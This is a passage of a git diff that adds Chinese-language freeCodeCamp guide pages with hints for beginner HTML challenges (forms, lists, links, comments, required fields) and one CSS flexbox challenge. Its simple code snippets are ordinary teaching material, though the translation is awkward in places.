+在此挑战中，您希望将提交按钮作为表单的最后一个元素（在`</form>`结束标记之前）插入，并为其提供属性`type="submit"` （全部小写）和文本内容“提交” “（第一个字母大写），在挑战指令中指定。
+
+1）属性`type` `submit`值也在`input`标记内有效，它将呈现具有几乎相同行为的按钮，但这不是您要在此挑战中使用的标记。
+```
+<input type="submit"> 
+```
+
+如果您未指定值，则该按钮将具有您的用户代理选择的默认值（通常这类似于“提交”或“提交查询”）。
+
+如果您希望指定类似“发送请求”的值，您可以这样做：
+```
+<input type="submit" value="Send Request"> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/add-images-to-your-website/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/add-images-to-your-website/index.md
new file mode 100644
index 0000000000..6482d15aa6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/add-images-to-your-website/index.md
@@ -0,0 +1,11 @@
+---
+title: Add Images to Your Website
+localeTitle: 添加图片到您的网站
+---
+## 添加图片到您的网站
+
+属性是插入标记的键值对。语法为`<tag key1="value1" key2="value2"> </tag>`或者，在自闭标签的情况下， `<tag key1="value1" key2="value2" />` - 注意对是由空格字符分隔，而不是逗号。
+
+### 资源
+
+*   [HTML属性](https://guide.freecodecamp.org/html/attributes)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/add-placeholder-text-to-a-text-field/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/add-placeholder-text-to-a-text-field/index.md
new file mode 100644
index 0000000000..fbf8e49236
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/add-placeholder-text-to-a-text-field/index.md
@@ -0,0 +1,14 @@
+---
+title: Add Placeholder Text to a Text Field
+localeTitle: 将占位符文本添加到文本字段
+---
+## 将占位符文本添加到文本字段
+
+`placeholder`是属性，而不是标记。它可以与`input`标记的属性`text`一起使用，以创建在输入框为空时可视化的文本。
+
+如果您遇到这些问题，请检查：
+
+*   您应该将`placeholder`属性添加到代码中已存在的`input`标记中，而不删除任何内容;如果您意外删除或修改了某些内容，请记住您可以通过单击`reset all code`按钮重新启动干净代码
+*   语法与每个属性相同： `<tag attributeName="attributeValue" >`并且要插入的值由质询的指令指示（检查拼写错误）。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/check-radio-buttons-and-checkboxes-by-default/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/check-radio-buttons-and-checkboxes-by-default/index.md
new file mode 100644
index 0000000000..ac4e6db034
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/check-radio-buttons-and-checkboxes-by-default/index.md
@@ -0,0 +1,11 @@
+---
+title: Check Radio Buttons and Checkboxes by Default
+localeTitle: 默认情况下检查单选按钮和复选框
+---
+## 默认情况下检查单选按钮和复选框
+
+`checked`属性，只能与`type="radio"`和`type="checkbox"` ，是一个布尔属性（你可以在这个链接上检查有关`required`属性的挑战，布尔也是如此： [使用html5来要求一个字段](https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/) ）。
+
+作为布尔属性，您只需将`checked`的单词添加到默认情况下要设置的`input` HTML元素（挑战要求您默认设置代码中已存在_的第一个_复选框和单选按钮）。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/comment-out-html/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/comment-out-html/index.md
new file mode 100644
index 0000000000..9a7d2f9404
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/comment-out-html/index.md
@@ -0,0 +1,18 @@
+---
+title: Comment out HTML
+localeTitle: 评论HTML
+---
+## 评论HTML
+
+注释语法与其他每个HTML元素相同：
+
+例：
+```
+<!-- code --> 
+```
+
+子元素|描述 ---------- | ----------- `<!--` |打开标签 代码|评论文字 `-->` |关闭标签
+
+如果你想在代码中只注释一些你希望将它们包装在注释元素中的元素 - 在它们之前创建一个开始标记，在它之后创建一个结束标记。
+
+玩的开心！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list/index.md
new file mode 100644
index 0000000000..9287c9e315
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list/index.md
@@ -0,0 +1,29 @@
+---
+title: Create a Bulleted Unordered List
+localeTitle: 创建项目符号无序列表
+---
+## 创建项目符号无序列表
+
+要通过挑战，您应该执行的第一个操作是删除包含其所有内容的`p`元素。
+
+之后你必须实现列表：它必须在`ul`元素中包含至少三个`li`元素，并且这些`li`必须在同一级别上，而不是彼此嵌套：
+
+正确：
+```
+<ul> 
+  <li></li> 
+  <li></li> 
+ </ul> 
+```
+
+不正确：
+```
+<ul> 
+  <li> 
+    <li> 
+    </li> 
+  </li> 
+ </ul> 
+```
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-form-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-form-element/index.md
new file mode 100644
index 0000000000..43c3b53455
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-form-element/index.md
@@ -0,0 +1,13 @@
+---
+title: Create a Form Element
+localeTitle: 创建表单元素
+---
+`<form>`是用于直接从用户输入收集信息的元素。当您使用此HTML元素时，您将识别用于收集用户选择的部分。
+
+在此HTML元素中，您可以插入一些`input`标记，用于根据`type`属性以不同方式收集数据。
+
+所有这些数据都将被发送到表单的`action`属性中指定的页面。这只是一个相对路径，指示希望接收此数据的页面。
+
+在这个挑战中，您已经有了一个`input`元素。您需要做的就是在它周围包装一个`form`标签。不要忘记`action`属性。使用质询指示的值（双击语法）。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-checkboxes/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-checkboxes/index.md
new file mode 100644
index 0000000000..9a41107f30
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-checkboxes/index.md
@@ -0,0 +1,13 @@
+---
+title: Create a Set of Checkboxes
+localeTitle: 创建一组复选框
+---
+## 创建一组复选框
+
+`type="checkbox"`属性基本上与`type="radio"`属性的作用相同：主要区别在于复选框用于收集一个或多个选项，当您需要独占选择（一个或另一个）时使用单选按钮。
+
+`name`属性表示该复选框所属的组，并且作为组的一部分将更容易管理服务器端的数据。
+
+要解决这个难题，您需要创建三个`input` HTML元素，其属性为`type="checkbox"` ， `name`属性设置为`"personality"` （大写问题）;标签的文本内容由您决定。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-radio-buttons/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-radio-buttons/index.md
new file mode 100644
index 0000000000..fe14ebd240
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-radio-buttons/index.md
@@ -0,0 +1,17 @@
+---
+title: Create a Set of Radio Buttons
+localeTitle: 创建一组单选按钮
+---
+## 创建一组单选按钮
+
+要解决这一挑战，您可以将其分解为更好地理解步骤：
+
+*   创建“容器”：放下两个`label`元素并向他们提供挑战所要求的文本内容（一个必须有“室内”文本，一个“室外”，大写字母）;
+    
+*   创建'content'：一个单选按钮，它只是一个`input`元素， `type=radio` （创建其中两个）;
+    
+*   创建一_组_单选按钮：将两个单选按钮的属性`name`设置为相同的值（挑战说明指出该组必须命名为`indoor-outdoor` ）;
+    
+*   将每个单选按钮嵌套在标签中;
+    
+    祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-text-field/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-text-field/index.md
new file mode 100644
index 0000000000..a4a56837db
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-a-text-field/index.md
@@ -0,0 +1,15 @@
+---
+title: Create a Text Field
+localeTitle: 创建文本字段
+---
+## 创建文本字段
+
+`input`可以被归类为通用标签：实际上它的特征在于其属性`type` ，其可以假设一系列不同的值并且基于该值，然后`input`将被呈现为不同的对象。
+
+一些不同`type`值的示例：
+
+类型值|码 - | - 文字| `<input type="text" />` 复选框| `<input type="checkbox" />` 收音机| `<input type="radio" />` 按钮| `<input type="button" />` ...
+
+挑战要求您在不修改现有代码的情况下设置类型设置为`text`的`input`标记;如果出现问题，请仔细检查标签错误（因为`input`是自动关闭的，您只需要一个标签，而不是一对开关）。 如果您修改或删除了所提供代码的某些部分，则可以使用`reset all code`按钮重新启动。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-an-ordered-list/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-an-ordered-list/index.md
new file mode 100644
index 0000000000..5fe5a80c8c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/create-an-ordered-list/index.md
@@ -0,0 +1,19 @@
+---
+title: Create an Ordered List
+localeTitle: 创建有序列表
+---
+## 创建有序列表
+
+有时人们会过度思考这种挑战：有序列表与无序列表具有完全相同的模式，它只是更改标记： `<ul>`表示无序， `<ol>`表示有序。
+
+不同的效果是一个有子弹，另一个有数字（或其他渐进标记）：
+
+类型|代码|影响 - | - | - 无序的| `<ul><li>Bulleted item</li></ul>` |
+
+*   项目符号项目
+
+订购| `<ol><li>Numbered item</li></ol>` |
+
+1.  编号项目
+
+如果您不记得列表的工作原理，可以查看过去的挑战： [创建项目符号无序列表](https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/declare-the-doctype-of-an-html-document/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/declare-the-doctype-of-an-html-document/index.md
new file mode 100644
index 0000000000..38aa4f4d05
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/declare-the-doctype-of-an-html-document/index.md
@@ -0,0 +1,13 @@
+---
+title: Declare the Doctype of an HTML Document
+localeTitle: 声明HTML文档的Doctype
+---
+## 声明HTML文档的Doctype
+
+Doctype的声明必须在第一行，因为它向浏览器提供有关如何解释以下代码行的说明。
+
+它后面可能跟一个`<html>`元素，即使它不是强制性的;这是文档的根元素，如果你不写它，大多数浏览器都会推断它。但是，明确地编写它是一个好习惯。
+
+所有html元素都必须嵌套在`<html>` ：在此挑战中，系统会要求您使用带有您选择内容的`<h1>`元素。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/define-the-head-and-body-of-an-html-document/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/define-the-head-and-body-of-an-html-document/index.md
new file mode 100644
index 0000000000..4935d6fff7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/define-the-head-and-body-of-an-html-document/index.md
@@ -0,0 +1,18 @@
+---
+title: Define the Head and Body of an HTML Document
+localeTitle: 定义HTML文档的头部和正文
+---
+## 定义HTML文档的头部和正文
+
+`head`元素用于对文档的所有元数据进行分组， `body`用于显示文档的内容。
+
+在`head`你可以找到用于_描述_文档的任何类型的标签：它将使用什么语言，什么样式规则（通过样式表链接），它的标题，文字描述，......  
+无论如何， `head`元素中的任何内容都不会呈现在页面中：您可以在浏览器的选项卡或书签栏中看到标题和图标，但这不是_页面_ ，而是链接到它的浏览器元素。
+
+相反， `body`包含了呈现在页面中的所有内容：也许不仅如此，而且确保所有这一切。
+
+挑战为您提供了一个简单的html页面，并要求您在正确的位置插入`head`和`body` html元素;换句话说，您应该使用`<body></body>`标记包装您可以看到在页面右侧呈现的所有元素，并使用`<head></head>`标记包装所有描述性内容。
+
+请记住， `head`和`body`都必须是`<html>`元素的子元素。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/delete-html-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/delete-html-elements/index.md
new file mode 100644
index 0000000000..cbf23bed08
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/delete-html-elements/index.md
@@ -0,0 +1,11 @@
+---
+title: Delete HTML Elements
+localeTitle: 删除HTML元素
+---
+## 删除HTML元素
+
+要删除HTML元素，您必须删除其标记子元素：内容，无论它是什么，都可以保留，因为它不代表任何HTML元素。
+
+请记住：如果您要求修改的部分以外的某些代码已更改，则可以通过单击“ `reset all code`按钮重新启动挑战。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/fill-in-the-blank-with-placeholder-text/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/fill-in-the-blank-with-placeholder-text/index.md
new file mode 100644
index 0000000000..885c1cb437
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/fill-in-the-blank-with-placeholder-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Fill in the Blank with Placeholder Text
+localeTitle: 使用占位符文本填充空白
+---
+## 使用占位符文本填充空白
+
+您被要求将您在段落（ `p`元素）中看到的文本替换为挑战介绍提供的文本（当您阅读_几个单词时，_它意味着至少2个，最多全部）;如果您偶然删除或修改了除段落文本之外的某些代码，您可以单击`reset all code`按钮以使用干净的代码重新启动。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/headline-with-the-h2-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/headline-with-the-h2-element/index.md
new file mode 100644
index 0000000000..b299b7fd67
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/headline-with-the-h2-element/index.md
@@ -0,0 +1,28 @@
+---
+title: Headline with the h2 Element
+localeTitle: 标题与h2元素
+---
+## 标题与h2元素
+
+在第一课中，您已经了解了HTML元素是什么，并且您已经修改了一个。  
+现在你被要求自己写！代码编辑器中已存在的第一个HTML元素（ `<h1>Hello World</h1>` ）使用h1标记，检查其他元素：
+
+代码|效果 ----- | ------- `<h2> This is how an h2 heading looks like</h2>` |
+
+## 这就是h2标题的样子
+
+`<h3> Followed by this h3 tag </h3>` |
+
+### 其次是这个h3标签
+
+`<h4> Look at the h4, the middle </h4>` |
+
+#### 看看h4，中间
+
+`<h5> Here is a tiny h5 </h5>` |
+
+##### 这是一个小小的h5
+
+`<h6> The last - h6 </h6>` |
+
+###### 最后 - h6
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/index.md
new file mode 100644
index 0000000000..644dacd86c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic HTML and HTML5
+localeTitle: 基本的HTML和HTML5
+---
+## 基本的HTML和HTML5
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/inform-with-the-paragraph-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/inform-with-the-paragraph-element/index.md
new file mode 100644
index 0000000000..c0038dc721
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/inform-with-the-paragraph-element/index.md
@@ -0,0 +1,13 @@
+---
+title: Inform with the Paragraph Element
+localeTitle: 通知段落元素
+---
+系统会要求您创建另一个HTML元素。简要回顾一下如何实现这一目标：
+
+*   创建一个开始标记。
+    
+*   写一些内容（通常是纯文本）
+    
+*   创建结束标记。
+    
+    祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/introduction-to-html5-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/introduction-to-html5-elements/index.md
new file mode 100644
index 0000000000..1b7a7f268e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/introduction-to-html5-elements/index.md
@@ -0,0 +1,17 @@
+---
+title: Introduction to HTML5 Elements
+localeTitle: HTML5元素简介
+---
+## HTML5元素简介
+
+将HTML元素包装在其他HTML元素周围意味着将_内部_元素放在包装器的开始标记之后和结束标记之前。  
+
+下面的示例表示包含在`header`元素中的`h1`元素和`h4`元素：
+```
+<header> 
+  <h1> Big title </h1> 
+  <h4> Tiny subtitle </h4> 
+ </header> 
+```
+
+正如您所看到的， `header`包含最终位于同一级别的其他元素（ `h1`在`h4`开始之前结束，并且两者都嵌套在`header` ）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/link-to-external-pages-with-anchor-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/link-to-external-pages-with-anchor-elements/index.md
new file mode 100644
index 0000000000..35676974dc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/link-to-external-pages-with-anchor-elements/index.md
@@ -0,0 +1,23 @@
+---
+title: Link to External Pages with Anchor Elements
+localeTitle: 链接到具有锚元素的外部页面
+---
+## 链接到具有锚元素的外部页面
+
+在这个挑战中，你应该使用到目前为止所学到的一切。 HTML元素语法：
+
+*   打开标签
+*   内容
+*   关闭标签
+
+标签属性语法：
+
+*   `<tag`
+*   键=“值”
+*   `>` （ `/>`在自动关闭标签的情况下）
+
+你被要求给一个`a`标记的属性（键） `href`与价值`"http://freecatphotoapp.com"` ，并使用文本“猫的照片”为相同的内容`a`标签
+
+### 资源
+
+*   [`<a>`标签 - href属性](https://guide.freecodecamp.org/html/attributes/a-href-attribute)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/link-to-internal-sections-of-a-page-with-anchor-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/link-to-internal-sections-of-a-page-with-anchor-elements/index.md
new file mode 100644
index 0000000000..6a2636801d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/link-to-internal-sections-of-a-page-with-anchor-elements/index.md
@@ -0,0 +1,21 @@
+---
+title: Link to Internal Sections of a Page with Anchor Elements
+localeTitle: 链接到具有锚元素的页面的内部部分
+---
+## 链接到具有锚元素的页面的内部部分
+
+如说明中所述，内部链接由两个元素组成： `a`标签和html元素，其`id`在`a`标签的`href`属性中使用。
+
+所有这些都是有效的内部链接：
+
+主播标签|带来 ----- | ------ `<a href="#destination">I am an internal link</a>` | `<p id="destination">I am the destination of the link</p>` `<a href="#inlinestuff">I am an internal link</a>` | `<span id="inlinestuff">I am the destination of the link</span>` `<a href="#title">I am an internal link</a>` | `<h1 id="title">I am the destination of the link</h1>` `<a href="#mainarticle">I am an internal link</a>` | `<article id="mainarticle">I am the destination of the link</article>`
+
+系统会要求您使用现有的锚元素来创建内部链接，因此请勿编写其他锚标记。
+
+要改变实际的锚标签并不是挑战要求你做的唯一事情，还有两点：
+
+*   要删除`a`标记的`target`属性：您不再希望在浏览器中打开新标签页，它将是向上/向下“移动”的实际页面。
+    
+*   要修改的文本内容`a`标签：从`cat photos`来`Jump to Bottom` （仔细检查大小写）。
+    
+    祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/make-dead-links-using-the-hash-symbol/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/make-dead-links-using-the-hash-symbol/index.md
new file mode 100644
index 0000000000..b7baafdda8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/make-dead-links-using-the-hash-symbol/index.md
@@ -0,0 +1,13 @@
+---
+title: Make Dead Links Using the Hash Symbol
+localeTitle: 使用哈希符号制作死链接
+---
+## 使用哈希符号制作死链接
+
+死链接只是一个锚点元素，语法正确，点击时点击页面顶部而不刷新内容（您可以在FCC论坛上查看此问题以获得更深入的分析： [Dead Link on HTML和CSS呢？](https://forum.freecodecamp.org/t/what-does-dead-link-on-html-and-css-do/164550/7) ）
+
+要创建一个死链接，首先应该编写一个普通的锚元素（挑战提供一个，不要重写它），然后按照说明中的说明修改`href`属性。
+
+如果您已删除或比现有的href属性的其他原始代码修改的东西`a`标签记住，你可以点击`reset all code`按钮，用干净的代码重新启动。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph/index.md
new file mode 100644
index 0000000000..928cc38ce5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph/index.md
@@ -0,0 +1,12 @@
+---
+title: Nest an Anchor Element within a Paragraph
+localeTitle: 在段落中嵌入锚元素
+---
+## 在段落中嵌入锚元素
+
+仔细阅读指令：即使这是一个关于挑战`a`标签并不一定意味着你应该处理它！  
+挑战介绍说明了现有`a`元素，它要求你编写嵌套的段落：换句话说，你只需要编写`p` HTML元素，其中内容由一些文本组成 - “查看更多” （仔细检查大小写和最终空格） - 以及页面中已存在`a` HTML元素。
+
+您可以按如下方式显示`p`元素的最终结构：
+
+desc |码 ------- | --------- 打开标签| `<p>` 一些文字内容| `View more` 现有`a`元素| `<a>...</a>` 关闭标签| `</p>`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/nest-many-elements-within-a-single-div-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/nest-many-elements-within-a-single-div-element/index.md
new file mode 100644
index 0000000000..7fe94626c0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/nest-many-elements-within-a-single-div-element/index.md
@@ -0,0 +1,11 @@
+---
+title: Nest Many Elements within a Single div Element
+localeTitle: 在单个div元素中嵌套许多元素
+---
+## 在单个div元素中嵌套许多元素
+
+使用通用目标标记作为`div`来包装多个元素允许开发人员将共同样式应用于每个包装元素，对具有相同含义的元素进行分组，以创建不同的布局“包”等。
+
+关于此挑战，您必须对代码中已存在的列表进行分组：您可以在段落用作无序列表标题之前使用开始div标记，并将结束标记放在有序列表的正下方。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/index.md
new file mode 100644
index 0000000000..77d724f5c8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/index.md
@@ -0,0 +1,19 @@
+---
+title: Say Hello to HTML Elements
+localeTitle: 向HTML Elements说你好
+---
+## 向HTML Elements说你好
+
+请考虑以下示例：  
+
+`<p>This is a paragraph</p>`  
+
+你可以称之为**_'p元素'_** ;分解成碎片你可以找到以下子元素：
+
+子元素|描述 ----------- ---------- `<p>` |这是开场标签 `This is a paragraph` |这是元素的文本 `</p>` |这是结束标记
+
+记住挑战请求：
+
+> 将你的h1元素的文本更改为“Hello World”
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/turn-an-image-into-a-link/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/turn-an-image-into-a-link/index.md
new file mode 100644
index 0000000000..109d20b4f4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/turn-an-image-into-a-link/index.md
@@ -0,0 +1,11 @@
+---
+title: Turn an Image into a Link
+localeTitle: 将图像转换为链接
+---
+## 将图像转换为链接
+
+在之前的挑战中，您已经完成了将HTML元素嵌套到另一个中的任务（例如， [在段落中嵌套锚元素](https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph) ）
+
+现在要求您使用不同的标签解决相同的问题：只需将图像（按原样）放在锚元素中，它就会成为该锚点的可点击内容。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/uncomment-html/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/uncomment-html/index.md
new file mode 100644
index 0000000000..fe58294a2f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/uncomment-html/index.md
@@ -0,0 +1,39 @@
+---
+title: Uncomment HTML
+localeTitle: 取消注释HTML
+---
+## 取消注释HTML
+
+评论主题在开始时通常有点令人困惑。 看看这个例子：
+```
+<!-- This is a commented block. 
+ It doesn't matter how long it is, if it has <h1>HTML elements</h1> in it or if it develops 
+ into 
+ few lines, 
+ everything between the first weird series of character and the last is commented out --> 
+```
+
+你也可以在线使用评论： `<!-- Uh, I does not exists! -->`在这里！
+
+唯一要考虑的是，当你看到这组char `<!--`从那里看到的所有东西都被注释掉了，因为你找到了镜面反射`-->` ;这些是HTML元素的开始和结束标记！
+
+##### 取消注释
+
+取消注释意味着从注释文本中取出：取消注释后面句子的h3元素（全部注释掉）：
+```
+<!-- <h1>Comment header</h1> <h3>Comment subtle</h3> <article>I am the text of the comment</article> --> 
+```
+
+就像这样简单：
+```
+<!-- <h1>Comment header</h1> --> <h3>Comment subtle</h3> <!-- <article>I am the text of the comment</article> --> 
+```
+
+注意如何在h3 HTML元素之前添加一个结束注释标记（ `-->` ）以匹配句子开头的开始注释标记，并在它之后添加一个开始注释标记（ `<!--` ）以匹配结束最后的标签：这样你就创建了两个内联注释，一个在h3元素之前，一个在！之后。
+
+如果你想取消注释一切都更容易：
+```
+<h1>Comment header</h1> <h3>Comment subtle</h3> <article>I am the text of the comment</article> 
+```
+
+只需删除评论的开始和结束标记即可。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/index.md
new file mode 100644
index 0000000000..8eeec1c0b1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/index.md
@@ -0,0 +1,15 @@
+---
+title: Use HTML5 to Require a Field
+localeTitle: 使用HTML5需要字段
+---
+## 使用HTML5需要字段
+
+`required`属性适用于几乎所有可能类型的`input`标记（它不起作用，因为它对类似按钮的类型或具有默认值的`type=range`没有意义，例如`type=range` ）并强制用户离开提交_时至少_与所需输入交互的最小标记（选择_至少_一个复选框， _在_文本框中键入_至少_一个字符等）。
+
+它的使用阻止了表单提交，直到`required`条件没有被填满
+
+您可以使用特定语法的`required`属性：因为它是一个布尔值，您可能只`required`编写而没有任何值。
+
+在这个挑战中，你已经有了一个表单和一个输入元素：它要求你将`required`属性添加到input元素;请记住，如果原始代码的某些内容被意外修改或删除，您可以使用`reset all code`按钮始终使用干净的代码重新启动。
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md
new file mode 100644
index 0000000000..26ea448f16
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md
@@ -0,0 +1,35 @@
+---
+title: Add Flex Superpowers to the Tweet Embed
+localeTitle: 添加Flex Superpowers到Tweet Embed
+---
+## 添加Flex Superpowers到Tweet Embed
+
+[在前一个挑战的基础上](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md) ，您需要将属性添加到正确的选择器中。这里的诀窍是识别正确的选择器然后你需要添加_display：flex;_属性。
+
+标题将确保图片，名称，句柄和跟随按钮在水平方向上重新定位。
+
+```CSS
+header { 
+    display: flex; 
+ } 
+```
+
+将名称和句柄对齐，看起来像一个句子。
+
+```CSS
+header .profile-name { 
+    display:flex; 
+    margin-left: 10px; 
+  } 
+```
+
+将属性添加到跟随按钮以及边距将使按钮居中到正确的大小。
+
+```CSS
+header .follow-btn { 
+    display:flex; 
+    margin: 0 0 0 auto; 
+  } 
+```
+
+在页脚元素上使用相同的想法。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md
